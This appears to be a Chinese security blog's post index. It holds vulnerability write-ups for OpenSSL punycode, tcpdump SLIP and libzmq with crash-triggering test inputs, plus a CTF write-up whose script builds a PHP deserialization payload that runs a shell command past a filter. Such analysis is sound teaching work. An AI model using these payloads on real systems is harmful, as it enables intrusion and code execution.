wubba lubba dub dub.
post @ 2023-05-06

CVE-2022-3602

具体内容
crypto/punycode.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int ossl_punycode_decode(const char *pEncoded, const size_t enc_len,
unsigned int *pDecoded, unsigned int *pout_length){
unsigned int max_out = *pout_length;
..................
for(...){
....................
if (written_out > max_out)
return 0;

/*
written_out=7 i=4 sizeof *pDecoded=sizeof(int)=4
memmove(pDecoded + 1 + 4 , pDecoded + 4, (7-4)*sizeof(int))
memmove(pDecoded + 5, pDecoded + 4, 3*sizeof(int))
*/
memmove(pDecoded + i + 1, pDecoded + i, (written_out - i) * sizeof *pDecoded);
pDecoded[i] = n;
i++;
written_out++;
}
.................
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int test_puny1(void)
{
static const unsigned int out[8] = {
0x0033, 0x5E74, 0x0042, 0x7D44, 0x91D1, 0x516B, 0x5148, // Expected result
0x751F // 4 byte overwrite
};
static const char* in = "3B-ww4c5e180e575a65lsy2b";
unsigned int buf[8];
unsigned int bsize = 7;

int result = ossl_punycode_decode(in, strlen(in), buf, &bsize);
printf("bsize: %d\n",bsize); // bsize = 8 (7 expected)
for(int i=0;i<bsize;i++){
printf("%x ",buf[i]);
}
printf("\n");

if (result!=0) {
if (test_mem_eq(buf, bsize * sizeof(*buf), out, sizeof(out)))
// buffers match which means we have an overwrite of the 8th integer
printf("CRITICAL: buffer overrun detected!\n");
return 0;

}
return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
static int test_puny2()
{
char* in = "3B-ww4c5e180e575a65lsy2b";
unsigned int out[7] = {
0x00,0x00,0x00,0x00,0x00,0x00,0x00, // 7-bytes
};
unsigned int bsize = 7;

int result = ossl_punycode_decode(in, strlen(in), out, &bsize);

return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int test_puny3(void)
{
typedef int (*EmbeddedFunc)(void);

struct example {
int decoded[7];
EmbeddedFunc ofc;
};
static const unsigned int out[] = {
0x0033, 0x5E74, 0x0042, 0x7D44, 0x91D1, 0x516B, 0x5148, 0x751F
};
static const char* in = "3B-ww4c5e180e575a65lsy2b";
struct example ex;
unsigned int bsize = OSSL_NELEM(ex.decoded);

ex.ofc = (EmbeddedFunc) &puts;

int result = ossl_punycode_decode(in, strlen(in), ex.decoded, &bsize);
ex.ofc();

return 1;
}
Read More
post @ 2023-04-23

CVE-2017-11543

  • 影响程序:tcpdump 4.9.0

  • 漏洞类型:非法地址访问

  • 产生原因:忽略处理意外输入

漏洞分析

首先介绍pcap文件格式

img

文件头,总共 24 个字节:

1
2
3
4
5
6
7
8
9
struct pcap_file_header {
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
};
  • magic:标识位:4 字节,这个标识位的值是 16 进制的 0xa1b2c3d4

  • major:主版本号:2 字节,默认值为 0x2

  • minor:副版本号:2 字节,默认值为 0x04

  • thiszone:区域时间:4 字节,实际上并未使用,因此被设置为 0

  • sigfigs:精确时间戳:4 字节,实际上并未使用,因此被设置为 0

  • snaplen:数据包最大长度:4 字节,该值设置所抓获的数据包的最大长度

  • linktype:链路层类型:4 字节,数据包的链路层包头决定了链路层的类型

数据包头,总共 16 个字节:

1
2
3
4
5
6
struct pcap_pkthdr {
time_t tv_sec; /* seconds (XXX should be time_t) */
bpf_u_int32 tv_usec; /* and microseconds */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
  • ts:时间戳:8 字节,4字节表示秒数,4字节表示微秒数
  • caplen:当前数据区长度:4 字节,表示所抓获的数据包保存在 pcap 文件中的实际长度
  • len:离线数据长度:4 字节

查看包结构 xxd -g1 slip-bad-direction.pcap

1
2
3
4
5
00000000: d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00  ................
00000010: 00 00 04 00 08 00 00 00 f6 b5 a5 58 f8 bd 07 00 ...........X....
00000020: 27 00 00 00 36 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 '...6...........
00000030: e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 e7 ca 00 ................
00000040: 00 52 54 00 12 35 02 08 00 27 bd c8 2e 08 00 .RT..5...'.....

可见其链路层类型为 08,即 SLIP(Serial Line Internet Protocol) SLIP 的常见包结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
+-------------------------+
| Direction |
| (1 Octet) |
+-------------------------+
| Packet type |
| (1 Octet) |
+-------------------------+
| Compression information |
| (14 Octets) |
+-------------------------+
| Payload |
. .
. .
. .

direction 字段指示发送或接收

  • 0:表示本机接收的包
  • 1:表示本机发送的包

在这里 direction 是 0xE7

漏洞程序代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
static void
sliplink_print(netdissect_options *ndo,
register const u_char *p, register const struct ip *ip,
register u_int length)
{
int dir;
u_int hlen;

dir = p[SLX_DIR];
ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));

if (ndo->ndo_nflag) {
/* XXX just dump the header */
register int i;

for (i = SLX_CHDR; i < SLX_CHDR + CHDR_LEN - 1; ++i)
ND_PRINT((ndo, "%02x.", p[i]));
ND_PRINT((ndo, "%02x: ", p[SLX_CHDR + CHDR_LEN - 1]));
return;
}
switch (p[SLX_CHDR] & 0xf0) {

case TYPE_IP:
ND_PRINT((ndo, "ip %d: ", length + SLIP_HDRLEN));
break;

case TYPE_UNCOMPRESSED_TCP:
/*
* The connection id is stored in the IP protocol field.
* Get it from the link layer since sl_uncompress_tcp()
* has restored the IP header copy to IPPROTO_TCP.
*/
lastconn = ((const struct ip *)&p[SLX_CHDR])->ip_p;
hlen = IP_HL(ip);
hlen += TH_OFF((const struct tcphdr *)&((const int *)ip)[hlen]);
lastlen[dir][lastconn] = length - (hlen << 2);
ND_PRINT((ndo, "utcp %d: ", lastconn));
break;

default:
if (p[SLX_CHDR] & TYPE_COMPRESSED_TCP) {
compressed_sl_print(ndo, &p[SLX_CHDR], ip,
length, dir);
ND_PRINT((ndo, ": "));
} else
ND_PRINT((ndo, "slip-%d!: ", p[SLX_CHDR]));
}
}

gdb调试, 在sliplink_print 函数处下断点,并运行

1
2
3
gdb ./tcpdump-tcpdump-4.9.0/tcpdump -q
b sliplink_print
r -e -r ./cves/slip-bad-direction.pcap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Breakpoint 1, sliplink_print (length=0xe7e7e726, ip=0x61d000000090, p=0x61d000000080 '\347' <repeats 22 times>, <incomplete sequence \312>, ndo=0x7fffffffcff0) at ./print-sl.c:133
133 dir = p[SLX_DIR];

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x7
$rbx : 0x0061d000000080 → 0xe7e7e7e7e7e7e7e7
$rcx : 0x0
$rdx : 0x000000e7e7e736 → 0x0000000000000000
$rsp : 0x007fffffffcbf0 → 0xe7e7e72600000000
$rbp : 0x27
$rsi : 0x1
$rdi : 0x007fffffffcff4 → 0x0000000000000001
$rip : 0x0055555577d518 → <sl_if_print+312> mov rax, rbx
$r8 : 0x0
$r9 : 0x7bdf8
$r10 : 0x007ffff7949db2 → 0x0000000000010101
$r11 : 0x202
$r12 : 0x0061d000000090 → 0x00cae7e7e7e7e7e7
$r13 : 0x007fffffffd070 → 0x0061d0000000a7 → 0xbebebebebebebebe
$r14 : 0x007fffffffccc0 → 0xe7e7e73600000027 ("'"?)
$r15 : 0x007fffffffcff0 → 0x00000100000000 → 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffcbf0│+0x0000: 0xe7e7e72600000000 ← $rsp
0x007fffffffcbf8│+0x0008: 0x0000000000000000
0x007fffffffcc00│+0x0010: 0x01df03ec038a01b9
0x007fffffffcc08│+0x0018: 0x0346017501130320
0x007fffffffcc10│+0x0020: 0x02de00ed008b02b8
0x007fffffffcc18│+0x0028: 0x007fffffffcff0 → 0x00000100000000 → 0x0000000000000000
0x007fffffffcc20│+0x0030: 0x007fffffffccb0 → 0x0000000058a5b5f6
0x007fffffffcc28│+0x0038: 0x0061d000000080 → 0xe7e7e7e7e7e7e7e7
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555577d509 <sl_if_print+297> call QWORD PTR [r15+0x98]
0x55555577d510 <sl_if_print+304> jmp 0x55555577d69f <sl_if_print+703>
0x55555577d515 <sl_if_print+309> nop DWORD PTR [rax]
→ 0x55555577d518 <sl_if_print+312> mov rax, rbx
0x55555577d51b <sl_if_print+315> mov rcx, rbx
0x55555577d51e <sl_if_print+318> shr rax, 0x3
0x55555577d522 <sl_if_print+322> and ecx, 0x7
0x55555577d525 <sl_if_print+325> movzx eax, BYTE PTR [rax+0x7fff8000]
0x55555577d52c <sl_if_print+332> cmp al, cl
────────────────────────────────────────────────────────────────────────────────────────────────── source:./print-sl.c+133 ────
128 register u_int length)
129 {
130 int dir;
131 u_int hlen;
132
→ 133 dir = p[SLX_DIR];
134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
135
136 if (ndo->ndo_nflag) {
137 /* XXX just dump the header */
138 register int i;
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55555577d518 → sliplink_print(length=0xe7e7e726, ip=0x61d000000090, p=0x61d000000080 '\347' <repeats 22 times>, <incomplete sequence \312>, ndo=0x7fffffffcff0)
[#1] 0x55555577d518 → sl_if_print(ndo=0x7fffffffcff0, h=<optimized out>, p=0x61d000000080 '\347' <repeats 22 times>, <incomplete sequence \312>)
[#2] 0x555555689b29 → pretty_print_packet(ndo=0x7fffffffcff0, h=0x7fffffffccb0, sp=0x61d000000080 '\347' <repeats 22 times>, <incomplete sequence \312>, packets_captured=<optimized out>)
[#3] 0x55555567faaf → print_packet(user=<optimized out>, h=<optimized out>, sp=<optimized out>)
[#4] 0x7ffff7f7f90a → cmp ebp, r13d
[#5] 0x7ffff7f6acef → pcap_loop()
[#6] 0x55555567a073 → main(argc=<optimized out>, argv=<optimized out>)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

gef➤ x/39b 0x0061d000000080
0x61d000000080: 0xe7 0xe7 0xe7 0xe7 0xe7 0xe7 0xe7 0xe7
0x61d000000088: 0xe7 0xe7 0xe7 0xe7 0xe7 0xe7 0xe7 0xe7
0x61d000000090: 0xe7 0xe7 0xe7 0xe7 0xe7 0xe7 0xca 0x0
0x61d000000098: 0x0 0x52 0x54 0x0 0x12 0x35 0x2 0x8

可见地址0x61d000000080存放着从pcap文件中读取出的39个Byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0061d000000080 → 0xe7e7e7e7e7e7e7e7
$rcx : 0x0
$rdx : 0x000000e7e7e736 → 0x0000000000000000
$rsp : 0x007fffffffcbf0 → 0xe7e7e72600000000
$rbp : 0x27
$rsi : 0x1
$rdi : 0x007fffffffcff4 → 0x0000000000000001
$rip : 0x0055555577d543 → <sl_if_print+355> mov rax, r13
$r8 : 0x0
$r9 : 0x7bdf8
$r10 : 0x007ffff7949db2 → 0x0000000000010101
$r11 : 0x202
$r12 : 0x0061d000000090 → 0x00cae7e7e7e7e7e7
$r13 : 0x007fffffffd088 → 0x005555556894a0 → <ndo_printf+0> push r13
$r14 : 0xe7
$r15 : 0x007fffffffcff0 → 0x00000100000000 → 0x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffcbf0│+0x0000: 0xe7e7e72600000000 ← $rsp
0x007fffffffcbf8│+0x0008: 0x0000000000000000
0x007fffffffcc00│+0x0010: 0x01df03ec038a01b9
0x007fffffffcc08│+0x0018: 0x0346017501130320
0x007fffffffcc10│+0x0020: 0x02de00ed008b02b8
0x007fffffffcc18│+0x0028: 0x007fffffffcff0 → 0x00000100000000 → 0x0000000000000000
0x007fffffffcc20│+0x0030: 0x007fffffffccb0 → 0x0000000058a5b5f6
0x007fffffffcc28│+0x0038: 0x0061d000000080 → 0xe7e7e7e7e7e7e7e7
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555577d532 <sl_if_print+338> jne 0x55555577d997 <sl_if_print+1463>
0x55555577d538 <sl_if_print+344> lea r13, [r15+0x98]
0x55555577d53f <sl_if_print+351> movzx r14d, BYTE PTR [rbx]
→ 0x55555577d543 <sl_if_print+355> mov rax, r13
0x55555577d546 <sl_if_print+358> shr rax, 0x3
0x55555577d54a <sl_if_print+362> cmp BYTE PTR [rax+0x7fff8000], 0x0
0x55555577d551 <sl_if_print+369> jne 0x55555577dfb3 <sl_if_print+3027>
0x55555577d557 <sl_if_print+375> test r14d, r14d
0x55555577d55a <sl_if_print+378> lea rax, [rip+0xc76bf] # 0x555555844c20
────────────────────────────────────────────────────────────────────────────────────────────────── source:./print-sl.c+134 ────
129 {
130 int dir;
131 u_int hlen;
132
133 dir = p[SLX_DIR];
→ 134 ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
135
136 if (ndo->ndo_nflag) {
137 /* XXX just dump the header */
138 register int i;
139

语句 dir = p[SLX_DIR]; 从 data 中取出第一个字节作为 dir,即 0xe7

然后程序将 dir==0xe7 与 SLIPDIR_IN==0 作比较,不相等,于是错误地把 dir 当成 SLIPDIR_OUT==1 处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xe7e7
$rbx : 0x0061d000000080 → 0xe7e7e7e7e7e7e7e7
$rcx : 0x7
$rdx : 0x00555555ac6d20 → 0x0000000000000000
$rsp : 0x007fffffffcbf0 → 0xe7e7e72600000000
$rbp : 0x27
$rsi : 0x000000e7e7e6de → 0x0000000000000000
$rdi : 0x555555b00cbc
$rip : 0x0055555577d931 → <sl_if_print+1361> mov DWORD PTR [rdx+rax*4], esi
$r8 : 0xe7
$r9 : 0x0061d000000081 → 0xe7e7e7e7e7e7e7e7
$r10 : 0x0061d000000089 → 0xe7e7e7e7e7e7e7e7
$r11 : 0x0
$r12 : 0x0061d000000090 → 0x00cae7e7e7e7e7e7
$r13 : 0x007fffffffd088 → 0x005555556894a0 → <ndo_printf+0> push r13
$r14 : 0x000ffffffffa11 → 0x0000000000000000
$r15 : 0x007fffffffcff0 → 0x00000100000000 → 0x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffcbf0│+0x0000: 0xe7e7e72600000000 ← $rsp
0x007fffffffcbf8│+0x0008: 0x0061d000000089 → 0xe7e7e7e7e7e7e7e7
0x007fffffffcc00│+0x0010: 0x0061d000000081 → 0xe7e7e7e7e7e7e7e7
0x007fffffffcc08│+0x0018: 0x0061d000000081 → 0xe7e7e7e7e7e7e7e7
0x007fffffffcc10│+0x0020: 0x02de00ed008b02b8
0x007fffffffcc18│+0x0028: 0x007fffffffcff0 → 0x00000100000000 → 0x0000000000000000
0x007fffffffcc20│+0x0030: 0x007fffffffccb0 → 0x0000000058a5b5f6
0x007fffffffcc28│+0x0038: 0x0061d000000080 → 0xe7e7e7e7e7e7e7e7
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x55555577d922 <sl_if_print+1346> shr r14, 0x3
0x55555577d926 <sl_if_print+1350> add rax, r8
0x55555577d929 <sl_if_print+1353> cmp BYTE PTR [r14+0x7fff8000], 0x0
→ 0x55555577d931 <sl_if_print+1361> mov DWORD PTR [rdx+rax*4], esi
0x55555577d934 <sl_if_print+1364> jne 0x55555577e016 <sl_if_print+3126>
0x55555577d93a <sl_if_print+1370> mov rcx, r10
────────────────────────────────────────────────────────────────────────────────────────────────── source:./print-sl.c+253 ────
248 * 'cp - chdr' is the length of the compressed header.
249 * 'length - hlen' is the amount of data in the packet.
250 */
251 hlen = IP_HL(ip);
252 hlen += TH_OFF((const struct tcphdr *)&((const int32_t *)ip)[hlen]);
→ 253 lastlen[dir][lastconn] = length - (hlen << 2);
254 ND_PRINT((ndo, " %d (%ld)", lastlen[dir][lastconn], (long)(cp - chdr)));
255 }

lastlen[dir][lastconn] = length - (hlen << 2); 访问不合法地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gef➤  c
Continuing.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==122141==ERROR: AddressSanitizer: SEGV on unknown address 0x555555b00cbc (pc 0x55555577d931 bp 0x000000000027 sp 0x7fffffffcbf0 T0)
==122141==The signal is caused by a WRITE memory access.
#0 0x55555577d931 in compressed_sl_print print-sl.c:253
#1 0x55555577d931 in sliplink_print print-sl.c:166
#2 0x55555577d931 in sl_if_print print-sl.c:77
#3 0x555555689b28 in pretty_print_packet print.c:339
#4 0x55555567faae in print_packet tcpdump.c:2501
#5 0x7ffff7f7f909 (/lib/x86_64-linux-gnu/libpcap.so.0.8+0x24909)
#6 0x7ffff7f6acee in pcap_loop (/lib/x86_64-linux-gnu/libpcap.so.0.8+0xfcee)
#7 0x55555567a072 in main tcpdump.c:2004
#8 0x7ffff7646189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#9 0x7ffff7646244 in __libc_start_main_impl ../csu/libc-start.c:381
#10 0x55555567d810 in _start (/usr/fuzz_pro/lib_fuzzer/tcpdump-4.9.0/tcpdump+0x129810)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV print-sl.c:253 in compressed_sl_print
==122141==ABORTING
[Inferior 1 (process 122141) exited with code 01]
gef➤ x/5x 0x555555b00cbc
0x555555b00cbc: Cannot access memory at address 0x555555b00cbc

漏洞修复

加了switch判断 不合法的输入将dir置为-1 , 后续代码遇到-1另外异常处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void
sliplink_print(netdissect_options *ndo, register const u_char *p, register const struct ip *ip, register u_int length)
int dir;
u_int hlen;

dir = p[SLX_DIR];
- ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));
+ switch (dir) {

+ case SLIPDIR_IN:
+ ND_PRINT((ndo, "I "));
+ break;
+
+ case SLIPDIR_OUT:
+ ND_PRINT((ndo, "O "));
+ break;
+
+ default:
+ ND_PRINT((ndo, "Invalid direction %d ", dir));
+ dir = -1;
+ break;
+ }
Read More
post @ 2023-04-21

CVE-2019-6250

  • 影响程序:libzmq

  • 漏洞类型:缓冲区溢出

漏洞复现

下载目标软件

1
git clone https://github.com/zeromq/libzmq.git

跳转到有漏洞的版本

1
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

安装 libtool

1
sudo apt-get install libtool pkg-config build-essential autoconf automake

执行

1
2
3
4
cd libzmq
./autogen.sh
./configure
make && sudo make install

删去v2_decoder.hpp 中51行的private:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class v2_decoder_t ZMQ_FINAL
: public decoder_base_t<v2_decoder_t, shared_message_memory_allocator>
{
public:
v2_decoder_t (size_t bufsize_, int64_t maxmsgsize_, bool zero_copy_);
~v2_decoder_t ();

// i_decoder interface.
msg_t *msg () { return &_in_progress; }

- private:
int flags_ready (unsigned char const *);
int one_byte_size_ready (unsigned char const *);
int eight_byte_size_ready (unsigned char const *);
int message_ready (unsigned char const *);

int size_ready (uint64_t size_, unsigned char const *);

unsigned char _tmpbuf[8];
unsigned char _msg_flags;
msg_t _in_progress;

const bool _zero_copy;
const int64_t _max_msg_size;

ZMQ_NON_COPYABLE_NOR_MOVABLE (v2_decoder_t)
};

把fuzzer.cc放到当前文件夹下 编译

1
clang++ -g -std=c++11 -fsanitize=address,fuzzer fuzzer.cc -I ./ .libs/libzmq.a -o fuzzer

执行

1
./fuzzer

漏洞分析

漏洞原因:如果msg_size很大,溢出read_pos_指针范围,绕过检测 并且可以写入msg_size这么多数据

1
2
3
4
5
6
7
8
9
//src/v2_decoder.cpp
85 int zmq::v2_decoder_t::eight_byte_size_ready (unsigned char const *read_from_)
86 {
87 // The payload size is encoded as 64-bit unsigned integer.
88 // The most significant byte comes first.
89 const uint64_t msg_size = get_uint64 (_tmpbuf);
90
91 return size_ready (msg_size, read_from_);
92 }
1
2
3
4
// src/v2_decoder.cpp zmq::v2_decoder_t::size_ready()
117 if (unlikely (!_zero_copy
118 || ((unsigned char *) read_pos_ + msg_size_
119 > (allocator.data () + allocator.size ())))) {

溢出块的后方紧接着,其中ffn为函数指针,参数为data和hint 可改写,执行任意函数

1
2
3
4
5
6
7
8
67     struct content_t
68 {
69 void *data;
70 size_t size;
71 msg_free_fn *ffn;
72 void *hint;
73 zmq::atomic_counter_t refcnt;
74 };

漏洞修复

1
2
3
4
    if (unlikely (!_zero_copy
- || ((unsigned char *) read_pos_ + msg_size_
- > (allocator.data () + allocator.size ())))) {
+ || msg_size_ > allocator.data () + allocator.size () - read_pos_ )) {

引用: https://github.com/zeromq/libzmq/issues/3351

Read More
post @ 2023-01-18

题目链接

页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
include "waf.php";
class NISA {
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup() {
if($this->fun=="show_me_flag") {
hint();
}
}
function __call($from,$val) {
$this->fun=$val[0];
}
public function __toString() {
echo $this->fun;
return " ";
}
public function __invoke() {
checkcheck($this->txw4ever);
@eval($this->txw4ever); // [1]
}
}
class TianXiWei {
public $ext;
public $x;
public function __wakeup() {
$this->ext->nisa($this->x); // [5]
}
}
class Ilovetxw {
public $huang;
public $su;
public function __call($fun1,$arg) {
$this->huang->fun=$arg[0]; // [4]
}
public function __toString() {
$bb = $this->su;
return $bb(); // [2]
}
}
class four {
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value) {
$this->$name=$value;
if ($this->fun = "sixsixsix") {
strtolower($this->a); // [3]
}
}
}
if(isset($_GET['ser'])) {
@unserialize($_GET['ser']);
} else {
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>

分析 [(各魔术方法用途见:附)](# 附:魔术方法)

  1. 明显目标为 [1] 处的eval执行任意代码 且参数可控
  2. 要能执行 [1] 则需有类似 $a() 的调用 ( __invoke在类对象名作为函数名调用时执行),由此定位到 [2]
  3. __tostring 当类对象被当作字符串处理时调用,由此定位到 [3]
  4. __set 用于将数据写入不可访问的属性, $func 属性为private,定位到 [4]
  5. __call 在对象上下文中调用不可访问的方法时觖发,定位到 [5] ,没有类有nisa方法

exp

按照思路逆序构造

注意还要绕过过滤,system过不了 换成大写即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class NISA {
public $fun;
public $txw4ever='System("cat /f*");';
}
class TianXiWei {
public $ext;
public $x;
}
class Ilovetxw {
public $huang;
public $su;
}
class four {
public $a;
private $fun;
}
$a = new TianXiWei;
$a -> ext = new Ilovetxw;
$a -> ext -> huang = new four;
$a -> ext -> huang -> a = new Ilovetxw;
$a -> ext -> huang -> a -> su = new NISA;
echo urlencode(serialize($a)) . "\n";

// ?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A7%3A%22show_me%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%22cat+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

附:魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
__construct 	//对象创建(new)时会自动调用。
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时觖发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset(或empty)触发
__unset() //在不可访问的属性上使用unset(时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__autoload() //在代码中当调用不存在的类时会自动调用该方法。
Read More
⬆︎TOP